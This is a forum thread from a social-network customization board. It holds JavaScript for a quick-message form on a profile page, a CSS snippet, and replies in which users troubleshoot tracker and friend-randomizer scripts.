this.type="Smile"; this.max=500; this.amp="&"; } else { this.smile=""; this.type="Message"; this.max=4000; this.amp=""; } this.linker.href="#"; this.slinker.href="#"; var htm="<script language=\"JavaScript\">"+ "function textCounter(field, countfield, maxlimit) {"+ "if (field.value.length > maxlimit) {"+ "field.value = field.value.substring(0, maxlimit);"+ "} else {"+ "countfield.value = maxlimit - field.value.length;"+ "}"+ "}"+ "</script>"+ "<div style=\"display:block;width:100%\"><label for=\"subjectfield\">Subject:</label>"+ "<input id=\"subjectfield\" type=\"text\" name=\"subject\" size=\"50\" maxlength=\"100\" value=\"\"></div>"+ "<label for=\"messagefield\">Message:</label>"+ "<textarea width=\"100%\" id=\"messagefield\" name=\"message\" wrap=\"virtual\" onKeyDown=\"textCounter(document.getElementById('messagefield'),document.getElementById('minputcount'),"+this.max+");\" onKeyUp=\"textCounter(document.getElementById('messagefield'),document.getElementById('minputcount'),"+this.max+");\"></textarea>"+ "<div id=\"mcontrols\"><div id=\"mcounter\">Characters remaining: <input id=\"minputcount\" readonly type=\"text\" name=\"inputcount\" size=\"5\" maxlength=\"4\" value=\"\"></div>"+ "<div id=\"mcheck\"><input id=\"savetosent\" type=\"checkbox\" name=\"savetosent\" value=\"y\">Save a copy in your Sent folder</div><br clear=\"all\" /></div>"+ "<div id=\"mbuttons\"><a class=\"greenButton\" alt=\"Send\" onmouseover=\"window.status='Send';return true;\" href=\"javascript: void(MESSENGER.postmessage())\">Send</a> <a class=\"greenButton\" alt=\"Cancel \" onmouseover=\"window.status='Send';return true;\" href=\"javascript: void(MESSENGER.cancelForm())\" value=\"Cancel \">Cancel </a></div>"+ "<script language=\"JavaScript\">"+ " document.getElementById(\"minputcount\").value = "+this.max+";"+ "</script>"; addBox("LEFT","Send "+this.type,htm,"quickmessage","controlpanel_1_1"); location.href="#quickmessage"; }, postmessage: function() { var subjectfield=document.getElementById("subjectfield").value; var messagefield=document.getElementById("messagefield").value; var minputcount=document.getElementById("minputcount").value; var savetosent=document.getElementById("savetosent").value; var param=this.amp+"_submitted=1&msg_type=&uid="+pageOwnerID+"&form_id="+"&subject="+urlencode(subjectfield)+"&message="+urlencode(messagefield)+"&inputcount="+minputcount+"&savetosent="+savetosent; processAjaxRequest("POST",this.base_domain+"/sendmessage.php"+this.smile,true,param, "Mreport",null); document.getElementById("quickmessage").childNodes[0].innerHTML="Posting "+this.type+", please wait..." ; document.getElementById("quickmessage").childNodes[1].innerHTML="" ; location.href="#quickmessage"; }, cancelForm: function() { setTimeout("document.getElementById('quickmessage').parentNode.parentNode.removeChild(document.getElementById('quickmessage').parentNode);location.href='#'",4000); this.init(); } }; function Mreport(htm) { var myregexp = /sent/; if(!htm.match("errorbox")){ document.getElementById("quickmessage").childNodes[0].innerHTML=MESSENGER.type+" Sent"; document.getElementById("quickmessage").childNodes[1].innerHTML="<div class='boxcontent'><strong>"+MESSENGER.type+" Sent</strong></div>"; } else { var myregexp = /rc\x22>([\S\s]+?)<form name=\x22message_form/gm; document.getElementById("quickmessage").childNodes[0].innerHTML="Error"; document.getElementById("quickmessage").childNodes[1].innerHTML="<div class='boxcontent'>"+myregexp.exec(htm)[1]+"</div>"; } MESSENGER.cancelForm(); } if(pageViewerID!=pageOwnerID) if(pageViewerID!="") MESSENGER.init(); [b]::::AND THEN COPY AND PASTE THIS TO YOUR EXTERNAL.CSS::::[/b] #fcontainer * { padding: 0px; margin: 0px; font-size: 9px } .thumbnaildelete { display: none } #fcontainer { text-align: center; height: 300px } #fcontainer .flogriditem { width: 85px; overflow: hidden; margin: 4px; height: 150px } .inlinelt { position: relative; left: -2px; top: 1px } .flo50 .ic .imgblock a img { height: 80px } .flo50 .ic .imgblock { height: 80px; width: 80px; overflow: hidden; background: #FFFFFF; border: 2px #97B6CA solid; text-align: center; }

Last edited by s1ycks (2007-09-07 20:02:44)

bobcbar
» FTalkElite
FTalk Level: zero
5223
0
1969-12-31

Re: [b]UPDATED NOV 20[/b] [b]Step 1[/b] Onload Handler. If you dont have yet this code, paste after the above code. [code]function onProfileLoad() { Ffetcher.init(); } if (!attachOnLoadHandler(functio

[quote=s1ycks][quote=bobcbar]:crybaby: I am just not getting it, I know its not a suprise, but I spent the afternoon trying to add the random friends to my page. Even went and upgrade to the latest WVM thinking it was my problem =( Any time I add the Ffetcher.init(); } after the onProfileLoad function my tracker disappears. Then when I add [b]Step 3[/b] none of my other codes work. Suggestions please :/ Please don't refer me to the Tutorial How to use FTalk Coders Codes, been there the last hour :retard:[/quote] [b]:::::JUST COPY AND PASTE IT TO YOUR TRACKER.JS::::::[/b] [b]-=CHANGE THE "YOUR TRACKER.PHP URL" TO YOUR TRACKER.PHP URL=-[/b][/quote] Tried it did not work for me either : ( I got an message saying done with errors and it never appeared. Thanks for trying to help :thumbsup:
aBBy413
» n00b
FTalk Level: zero
79
0
1969-12-31

Re: [b]UPDATED NOV 20[/b] [b]Step 1[/b] Onload Handler. If you dont have yet this code, paste after the above code. [code]function onProfileLoad() { Ffetcher.init(); } if (!attachOnLoadHandler(functio

i updated my profile & i lost my oder codes.. can sum1 plz give me d codes 4 friends randomizer at d sidebar.. tnx!! :) =) :)
mickyriora
» FTalkAddict
FTalk Level: zero
335
0
1969-12-31

Re: [b]UPDATED NOV 20[/b] [b]Step 1[/b] Onload Handler. If you dont have yet this code, paste after the above code. [code]function onProfileLoad() { Ffetcher.init(); } if (!attachOnLoadHandler(functio

[quote=bobcbar][quote=s1ycks][quote=bobcbar]:crybaby: I am just not getting it, I know its not a suprise, but I spent the afternoon trying to add the random friends to my page. Even went and upgrade to the latest WVM thinking it was my problem =( Any time I add the Ffetcher.init(); } after the onProfileLoad function my tracker disappears. Then when I add [b]Step 3[/b] none of my other codes work. Suggestions please :/ Please don't refer me to the Tutorial How to use FTalk Coders Codes, been there the last hour :retard:[/quote] [b]:::::JUST COPY AND PASTE IT TO YOUR TRACKER.JS::::::[/b] [b]-=CHANGE THE "YOUR TRACKER.PHP URL" TO YOUR TRACKER.PHP URL=-[/b][/quote] Tried it did not work for me either : ( I got an message saying done with errors and it never appeared. Thanks for trying to help :thumbsup:[/quote] I just tried adding this too but same thing happens. My tracker disappears :rolleyes: :rolleyes: ....I'm going to study more on this later....
s1ycks
» n00b
FTalk Level: zero
9
0
1969-12-31

Re: [b]UPDATED NOV 20[/b] [b]Step 1[/b] Onload Handler. If you dont have yet this code, paste after the above code. [code]function onProfileLoad() { Ffetcher.init(); } if (!attachOnLoadHandler(functio

[quote=mickyriora][quote=bobcbar][quote=s1ycks] [b]:::::JUST COPY AND PASTE IT TO YOUR TRACKER.JS::::::[/b] [b]-=CHANGE THE "YOUR TRACKER.PHP URL" TO YOUR TRACKER.PHP URL=-[/b][/quote] Tried it did not work for me either : ( I got an message saying done with errors and it never appeared. Thanks for trying to help :thumbsup:[/quote] I just tried adding this too but same thing happens. My tracker disappears :rolleyes: :rolleyes: ....I'm going to study more on this later....[/quote] you have to remove your old tracker and friend randomizer code cause it has new updated version of wvm tracker and friend randomizer............you have to paste it to your clean tracker.js - it means that theres no other code except from it....then save it and refresh your profile and you're done....i'm sure 100% it will work if you have done that cause its working on mine....i hope it is clear enough for all of you.
Refresh/Reload
» FTalkAddict
FTalk Level: zero
332
0
1969-12-31

Re: [b]UPDATED NOV 20[/b] [b]Step 1[/b] Onload Handler. If you dont have yet this code, paste after the above code. [code]function onProfileLoad() { Ffetcher.init(); } if (!attachOnLoadHandler(functio

[quote=s1ycks][quote=mickyriora][quote=bobcbar]Tried it did not work for me either : ( I got an message saying done with errors and it never appeared. Thanks for trying to help :thumbsup:[/quote] I just tried adding this too but same thing happens. My tracker disappears :rolleyes: :rolleyes: ....I'm going to study more on this later....[/quote] you have to remove your old tracker and friend randomizer code cause it has new updated version of wvm tracker and friend randomizer............you have to paste it to your clean tracker.js - it means that theres no other code except from it....then save it and refresh your profile and you're done....i'm sure 100% it will work if you have done that cause its working on mine....i hope it is clear enough for all of you.[/quote] hmmm... i'm still using the old wvm tracker and the old friend randomizer codes.. with all my js still in and out of it... i've just added the ajax based script above and the ajax request after the sidebar and mainbox functions... for me it's still safe to compile all your js in one js extension file... ...the tracker.js , right now i have 24 scripts/codes in and out of the tracker... just have to be careful on applying codes... =)

Last edited by Refresh/Reload (2007-09-09 14:50:16)

  • ARCHIVES 
  • » [b]UPDATED NOV 20[/b] [b]Step 1[/b] Onload Handler. If you dont have yet this code, paste after the above code. [code]function onProfileLoad() { Ffetcher.init(); } if (!attachOnLoadHandler(functio

Board footer

© 2024 F Talk

Current time is 06:44

[ 9 queries - 0.097 second ]
Privacy Policy